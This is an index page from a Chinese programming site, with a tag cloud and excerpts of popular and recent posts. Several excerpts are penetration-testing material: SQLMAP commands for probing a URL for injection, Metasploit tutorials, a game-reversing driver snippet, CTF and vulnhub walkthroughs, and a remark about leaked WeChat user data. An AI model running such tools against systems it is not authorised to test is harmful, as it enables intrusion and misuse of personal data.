其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more